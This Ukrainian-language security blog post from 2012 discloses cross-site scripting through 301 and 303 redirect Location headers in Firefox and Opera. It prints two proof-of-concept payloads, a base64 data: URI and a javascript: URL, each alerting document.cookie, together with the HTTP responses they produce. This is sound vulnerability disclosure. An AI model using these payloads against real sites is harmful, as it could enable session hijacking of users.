Cross-Site Scripting через редиректори 301 і 303 в різних браузерах

23:52 25.09.2012

У вересні, 16.09.2012, коли я виявив, що Mozilla приховано виправила два вектори атаки через редиректори (зі статусом 302), про які я розповідав в 2009 році в своїх адвізорі та статті Cross-Site Scripting атаки через редиректори, я також звернув увагу, що деякі XSS атаки працюють і при інших статусах. Тому я вирішив перевірити різні браузери на предмет XSS атак через редиректори з кодами статусу 301 і 303. Раніше я дослідив тільки refresh-редиректори і 302 location-редиректори (а 301 редиректори дослідив лише в атаці №3 через data: URI), а зараз вирішив доповнити це дослідження новою інформацією.

І я виявив Cross-Site Scripting уразливості в браузерах Mozilla Firefox та Opera. Атака відбувається через заголовок location при статусах 301 і 303. Браузери IE6, IE7, IE8 та Chrome невразливі. Атаки через інші 30x статуси не працюють.

Атака №1:

При запиті до скрипта на сайті:
http://site/script.php?param=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ%2B
Що поверне у відповіді 301 код:

HTTP/1.1 301 Moved Permanently
Location: data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ+

Або поверне у відповіді 303 код:

HTTP/1.1 303 See other
Location: data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ+

Атака працює в Firefox 3.0.19, 3.5.19, 3.6.28, 10.0.7, 15.0.1 та Opera 10.62 без доступу до кукісів.

Атака №2:

При запиті до скрипта на сайті:
http://site/script.php?param=javascript:alert(document.cookie)
Що поверне у відповіді 301 код:
HTTP/1.1 301 Moved Permanently
Location: javascript:alert(document.cookie)

Або поверне у відповіді 303 код:
HTTP/1.1 303 See other
Location: javascript:alert(document.cookie)

Атака працює в Opera 10.62 (як Strictly social XSS) без доступу до кукісів.


Leave a Reply

You must be logged in to post a comment.